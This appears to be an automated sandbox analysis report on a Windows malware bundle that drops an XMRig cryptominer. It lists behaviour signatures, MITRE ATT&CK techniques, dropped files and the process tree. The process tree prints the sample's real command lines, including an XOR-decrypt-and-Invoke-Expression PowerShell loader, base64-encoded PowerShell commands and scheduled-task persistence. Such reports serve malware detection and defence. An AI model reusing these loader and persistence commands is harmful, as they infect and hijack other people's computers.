Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
28/09/2026, 16:49
General
- Target 2026-09-28_36af467599934d37c9088c0a423c8349_elex_hijackloader_icedid_njrat_nymaim_rhadamanthys_vidar.exe
- Size 3.7MB
- Sample260928-vbtersztes
- SHA256 a047060f5994ba3b139301e6edccb840d0d7e6e1bc9218de0e9187ad8a4a97fd
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 10 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Downloads MZ/PE file 2 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Executes dropped EXE 7 IoCs
- Loads dropped DLL 60 IoCs
- Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 16 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Delays execution with timeout.exe 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 24 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SendNotifyMessage 3 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-09-28_36af467599934d37c9088c0a423c8349_elex_hijackloader_icedid_njrat_nymaim_rhadamanthys_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-28_36af467599934d37c9088c0a423c8349_elex_hijackloader_icedid_njrat_nymaim_rhadamanthys_vidar.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zbe2026928164923320.bat" "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exeSchtasks.Exe /delete /tn "Maintenance" /f3⤵
- System Location Discovery: System Language Discovery
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C:\Windows\SysWOW64\schtasks.exeSchtasks.Exe /create /tn "Maintenance" /xml "C:\Users\Admin\AppData\Local\Temp\zx2026928164923320.xml"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zb2026928164923320.bat" "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\chcp.comchcp 12513⤵
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Local\Temp\2026-09-28_36af467599934d37c9088c0a423c8349_elex_hijackloader_icedid_njrat_nymaim_rhadamanthys_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-28_36af467599934d37c9088c0a423c8349_elex_hijackloader_icedid_njrat_nymaim_rhadamanthys_vidar.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\timeout.exetimeout /t 3 /nobreak3⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
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C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exeC:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exeC:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe .1⤵
- Checks computer location settings
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\4855415a524153434872617860956147417620013\idle_maintenance.exeC:\Users\Admin\AppData\Local\Temp\4855415a524153434872617860956147417620013\idle_maintenance.exe2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -c "if($host.version.major -lt 3){exit}$d =[IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Roaming\Maintenance\mod');$l=$d.Count;$m = New-Object Byte[] $l;[byte[]] $x=222,61,40,254,168,88,177,23;$j=0;for($i=0;$i -lt $l;$i++){$m[$i]=$d[$i] -bxor $x[$j];$j++;if($j -ge 8){$j=0}}$a = New-Object IO.MemoryStream(,$m);$b = New-Object IO.StreamReader(New-Object IO.Compression.DeflateStream($a,[IO.Compression.CompressionMode]::Decompress));$c=$b.ReadToEnd();$b.Close();$a.Close();Invoke-Expression($c)"2⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -encodedCommand ZgB1AG4AYwB0AGkAbwBuACAAYwBoAGsAcAByAGMAKAAkAHAAKQB7AA0ACgAgACgAKABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAFAAcgBvAGMAZQBzAHMATgBhAG0AZQApAC4AUAByAG8AYwBlAHMAcwBOAGEAbQBlACAALQBjAG8AbgB0AGEAaQBuAHMAIAAiACQAcAAiACkADQAKAH0ADQAKAGkAZgAoAGMAaABrAHAAcgBjACgAJwBtAGEAaQBuAHQAZQBuAGEAbgBjAGUAJwApACkAewANAAoAIABXAGEAaQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACcAbQBhAGkAbgB0AGUAbgBhAG4AYwBlACcADQAKACAAaQBmACgAYwBoAGsAcAByAGMAKAAnAHcAbQBuAHQAbgBuAGMAJwApACkAewANAAoAIAAgAFMAdABvAHAALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJwB3AG0AbgB0AG4AbgBjACcAIAAtAEYAbwByAGMAZQANAAoAIAAgAFcAYQBpAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJwB3AG0AbgB0AG4AbgBjACcADQAKACAAfQAgAA0ACgAgACQAcAByAHQAYwA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AQAB7AA0ACgAgACAAUwB0AGEAcgB0AEkAbgBmAG8AIAA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFMAdABhAHIAdABJAG4AZgBvAF0AQAB7AA0ACgAgACAAVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIABGAGkAbABlAE4AYQBtAGUAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AYQBpAG4AdABlAG4AYQBuAGMAZQBcAGEAcABwAHMAXABtAGEAaQBuAHQAZQBuAGEAbgBjAGUALgBlAHgAZQAnAA0ACgAgACAAQQByAGcAdQBtAGUAbgB0AHMAIAA9ACAAJwAtACcADQAKACAAIABDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIAB9AA0ACgAgAH0ADQAKACAAJABwAHIAdABjAC4AUwB0AGEAcgB0ACgAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwADQAKACAAaQBmACgAYwBoAGsAcAByAGMAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAJwApACkAewBTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0AcAByAG8AYwBlAHMAcwBuAGEAbQBlACAAJwBwAG8AdwBlAHIAcwBoAGUAbABsACcAIAAtAEYAbwByAGMAZQB9AA0ACgAgAGUAeABpAHQADQAKAH0A3⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\Maintenance\wmntnnc".\wmntnnc"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Maintenance\wmntnnc".\wmntnnc"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -encodedCommand JABwAGEAdABoAD0AJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcAAnAA0ACgANAAoAJABiAGkAbgBmAG4APQAwAA0ACgBkAG8AIAB7AA0ACgAgACQAZgBpAGwAZQBzACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAYQB0AGgAIAAtAEYAaQBsAHQAZQByACAAXwBNAEUASQAqAA0ACgAgAEYAbwByAEUAYQBjAGgAIAAoACQAZgBuACAAaQBuACAAJABmAGkAbABlAHMAKQAgAHsADQAKACAAIAAkAGIAaQBuAGYAbgA9ACQAcABhAHQAaAArACcAXAAnACsAJABmAG4ALgBuAGEAbQBlACsAJwBcAFEAdABHAHUAaQA0AC4AZABsAGwAJwANAAoAIAB9AA0ACgAgAGkAZgAoAC0AbgBvAHQAIAAkAGIAaQBuAGYAbgApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADEAMAAwAH0ADQAKAH0ADQAKAHcAaABpAGwAZQAoAC0AbgBvAHQAIAAkAGIAaQBuAGYAbgApAA0ACgANAAoAdwBoAGkAbABlACgALQBuAG8AdAAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBFAHgAaQBzAHQAcwAoACQAYgBpAG4AZgBuACkAKQB7AA0ACgAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAxADAAMAANAAoAfQANAAoADQAKACQAZgBzAD0AMAANAAoAZABvAHsADQAKACAAdAByAHkAewAkAGYAcwAgAD0AIABbAEkATwAuAEYAaQBsAGUAXQA6ADoATwBwAGUAbgBXAHIAaQB0AGUAKAAkAGIAaQBuAGYAbgApAH0ADQAKACAAYwBhAHQAYwBoAHsAJABmAHMAPQAwAH0ADQAKACAAaQBmACgALQBuAG8AdAAgACQAZgBzACkAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAMQAwADAAfQANAAoAfQANAAoAdwBoAGkAbABlACgALQBuAG8AdAAgACQAZgBzACkADQAKAA0ACgAkAGEAPQA1ADEANwA2ADEAOAA2AA0ACgAkAG4APQA0AA0ACgAkAGYAcwAuAFMAZQBlAGsAKAAkAGEALABbAEkATwAuAFMAZQBlAGsATwByAGkAZwBpAG4AXQA6ADoAQgBlAGcAaQBuACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA0ACgBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAbgA7ACQAaQArACsAKQB7ACQAZgBzAC4AVwByAGkAdABlAEIAeQB0AGUAKAAwACkAfQANAAoAJABmAHMALgBDAGwAbwBzAGUAKAApACAADQAKAGUAeABpAHQA3⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -encodedCommand dwBoAGkAbABlACgALQBuAG8AdAAgAFsASQBPAC4ARgBpAGwAZQBdADoAOgBFAHgAaQBzAHQAcwAoACcALgBcAHMAaQBuAGcAbABlAHQAbwBuAC4AbABvAGMAawAnACkAKQB7AA0ACgAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAAxADAAMAANAAoAfQANAAoAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAxADAAMAAwADsAJABpACsAKwApAA0ACgB7AA0ACgAgACQAcAByAHQAYwA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AQAB7AA0ACgAgACAAUwB0AGEAcgB0AEkAbgBmAG8AIAA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFMAdABhAHIAdABJAG4AZgBvAF0AQAB7AA0ACgAgACAAVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIABGAGkAbABlAE4AYQBtAGUAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AYQBpAG4AdABlAG4AYQBuAGMAZQBcAGEAcABwAHMAXABtAGEAaQBuAHQAZQBuAGEAbgBjAGUALgBlAHgAZQAnAA0ACgAgACAAQQByAGcAdQBtAGUAbgB0AHMAIAA9ACAAJwArACcADQAKACAAIABDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAIAA9ACAAJABmAGEAbABzAGUADQAKACAAIAB9AA0ACgAgAH0ADQAKACAAJABwAHIAdABjAC4AUwB0AGEAcgB0ACgAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwADQAKACAAJABwAHIAdABjAC4AVwBhAGkAdABGAG8AcgBFAHgAaQB0ACgAKQANAAoAIAANAAoAIABpAGYAKAAkAHAAcgB0AGMALgBFAHgAaQB0AEMAbwBkAGUAIAAtAGUAcQAgADcANwA3ACkAewBiAHIAZQBhAGsAfQANAAoAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAMQAwADAADQAKACAAZQB4AGkAdAANAAoAfQA=3⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe"C:\Users\Admin\AppData\Roaming\Maintenance\apps\maintenance.exe" +4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
config.json
idle_maintenance.exe
Bitmessage_x86_0.6.3.2.exe.manifest
PyQt4.QtCore.pyd
QtCore4.dll
_ctypes.pyd
_hashlib.pyd
_multiprocessing.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
bz2.pyd
libeay32.dll
msgpack._packer.pyd
msgpack._unpacker.pyd
msvcr100.dll
numpy.core.multiarray.pyd
pyexpat.pyd
python27.dll
pythoncom27.dll
pywintypes27.dll
select.pyd
sip.pyd
sqlite3.dll
win32api.pyd
libopenblas.UWVN3XTD2LSS7SFIFK6TIQ5GONFDBJKU.gfortran-win32.dll
__PSScriptPolicyTest_gjc2qlro.wwo.ps1
zb2026928164923320.bat
zbe2026928164923320.bat
ze2026928164923320.tmp
zx2026928164923320.xml
m
maintenance.exe
keys.dat
mod
wmntnnc
memory/4496-50-0x0000000008AD0000-0x0000000009074000-memory.dmp
memory/4496-43-0x0000000006730000-0x000000000674E000-memory.dmp
memory/4496-44-0x0000000006770000-0x00000000067BC000-memory.dmp
memory/4496-30-0x0000000002E30000-0x0000000002E66000-memory.dmp
memory/4496-48-0x0000000007A20000-0x0000000007AB6000-memory.dmp
memory/4496-49-0x0000000007730000-0x0000000007752000-memory.dmp
memory/4496-42-0x00000000060D0000-0x0000000006424000-memory.dmp
memory/4496-1225-0x0000000008720000-0x00000000088E2000-memory.dmp
memory/4496-31-0x0000000005870000-0x0000000005E98000-memory.dmp
memory/4496-47-0x0000000006C90000-0x0000000006CAA000-memory.dmp
memory/4496-1226-0x00000000095B0000-0x0000000009ADC000-memory.dmp
memory/4496-46-0x0000000007EA0000-0x000000000851A000-memory.dmp
memory/4496-34-0x0000000005F10000-0x0000000005F76000-memory.dmp
memory/4496-32-0x0000000005790000-0x00000000057B2000-memory.dmp
memory/4496-33-0x0000000005EA0000-0x0000000005F06000-memory.dmp
memory/4588-1180-0x00000000022F0000-0x0000000002305000-memory.dmp
memory/4588-1202-0x000000006B000000-0x000000006C64E000-memory.dmp
memory/4588-1189-0x0000000003A70000-0x0000000003BAC000-memory.dmp
memory/4588-1191-0x0000000004300000-0x00000000043AA000-memory.dmp
memory/4588-1195-0x000000000B3D0000-0x000000000B474000-memory.dmp
memory/4588-1197-0x000000000B480000-0x000000000B54C000-memory.dmp
memory/4588-1194-0x000000000B3B0000-0x000000000B3C3000-memory.dmp
memory/4588-1193-0x0000000003000000-0x000000000301A000-memory.dmp
memory/4744-1203-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4744-1192-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4744-1224-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4744-27-0x0000000000DB0000-0x0000000000DC4000-memory.dmp
memory/4744-52-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4744-1230-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4744-1232-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4744-1234-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4744-1236-0x0000000000400000-0x0000000000AA3000-memory.dmp
memory/4744-1238-0x0000000000400000-0x0000000000AA3000-memory.dmp